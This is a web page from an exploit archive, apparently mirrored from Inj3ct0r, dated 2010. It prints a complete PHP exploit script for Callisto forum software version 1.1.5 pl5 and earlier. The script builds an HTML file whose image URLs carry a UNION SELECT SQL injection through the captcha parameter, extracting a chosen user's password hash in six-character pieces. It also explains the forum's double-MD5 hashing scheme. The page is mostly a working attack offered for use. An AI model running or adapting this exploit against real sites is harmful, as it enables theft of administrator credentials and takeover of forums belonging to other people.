Home / os / win7

Callisto <= 1.1.5 pl5 SQL Injection / Credentials Disclos

Posted on 29 April 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Callisto &lt;= 1.1.5 pl5 SQL Injection / Credentials Disclosure Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================================
Callisto &lt;= 1.1.5 pl5 SQL Injection / Credentials Disclosure Exploit
====================================================================

&lt;?php
################################################################################
# Exploit Title:         Callisto &lt;= 1.1.5 pl5 SQL Injection / Credentials Disclosure Exploit
#
# Software               Callisto 1.1.5 pl5
# Date:                  2010-04-29
# Author:                GLOBUS
# Software Link:         http://www.unisolutions.pl
# Version:               &lt;= 1.1.5 pl5
# category:              SQLi
#
# Greetz:                hds, Neo, pok3, .xXx., j4ck, revel004, Kopaczka
################################################################################

if($argc !== 3)
{
	echo &quot;#-------------------------------------------------------------------------
&quot;;
	echo &quot;# Callisto &lt;= 1.1.5 pl5 SQL Injection / Credentials Disclosure Exploit
&quot;;
	echo &quot;# Author: GLOBUS
&quot;;
	echo &quot;# Greetz: hds, Neo, pok3, .xXx., j4ck, revel004, Kopaczka
&quot;;
	echo &quot;#-------------------------------------------------------------------------
&quot;;
	echo &quot;# php exploit.php [FULL FORUM URL] [ADMIN_ID]
#
&quot;;
	echo &quot;# php exploit.php http://www.evil.pl/forum/ 1
#
&quot;;
	echo &quot;#-------------------------------------------------------------------------
&quot;;
	exit;
}

$path = (substr($argv[1], -1) !== '/' ? $argv[1] .'/' : $argv[1]);
$uid = (int) $argv[2];


$fp = fopen(dirname(__FILE__) . '/callisto_exploit.html', 'w');
if(!$fp)
{
	echo &quot;Can't Create File callisto_exploit.html
&quot;;
	exit;
}


$info  = &quot;#-------------------------------------------------------------------------&lt;br /&gt;
&quot;;
$info .= &quot;# Callisto &lt;= 1.1.5 pl5 SQL Injection / Credentials Disclosure Exploit&lt;br /&gt;
&quot;;
$info .= &quot;# Author: GLOBUS&lt;br /&gt;
&quot;;
$info .= &quot;#-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;
&quot;;
$info .= &quot;Hash = &lt;strong&gt;md5(md5($pass).md5($pass));&lt;/strong&gt;&lt;br /&gt;Password &lt;strong&gt;test&lt;/strong&gt; =&gt; Hash &lt;strong&gt;db2d303c20b9468bbe90114d3d1874b3&lt;/strong&gt;&lt;br /&gt;
Part 1: &lt;strong&gt;db2d30&lt;/strong&gt;&lt;/br /&gt;
Part 2: &lt;strong&gt;3c20b9&lt;/strong&gt;&lt;/br /&gt;
Part 3: &lt;strong&gt;468bbe&lt;/strong&gt;&lt;/br /&gt;
Part 4: &lt;strong&gt;90114d&lt;/strong&gt;&lt;/br /&gt;
Part 5: &lt;strong&gt;3d1874&lt;/strong&gt;&lt;/br /&gt;
Part 6: &lt;strong&gt;b3&lt;/strong&gt;&lt;/br /&gt;&lt;/br /&gt;&lt;h2&gt;I =&gt; 1&lt;/h2&gt;&lt;/br /&gt;&lt;/br /&gt;
&quot;;

fwrite($fp, $info);

$substr = array(1, 7, 13, 19, 25, 31);

$c = 1;
foreach($substr as $int)
{
	$save = &quot;Part {$c}: &lt;img src=&quot;{$path}index.php?act=captcha&amp;code=1+AND+1=2+UNION+SELECT+SUBSTRING(user_password,{$int},6)+FROM+users+WHERE+user_id={$uid}&quot; /&gt;&lt;br /&gt;
&quot;;
	fwrite($fp, $save);
	$c++;
}

fclose($fp);

echo &quot;Done, run callisto_exploit.html&quot;;


?&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-29]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :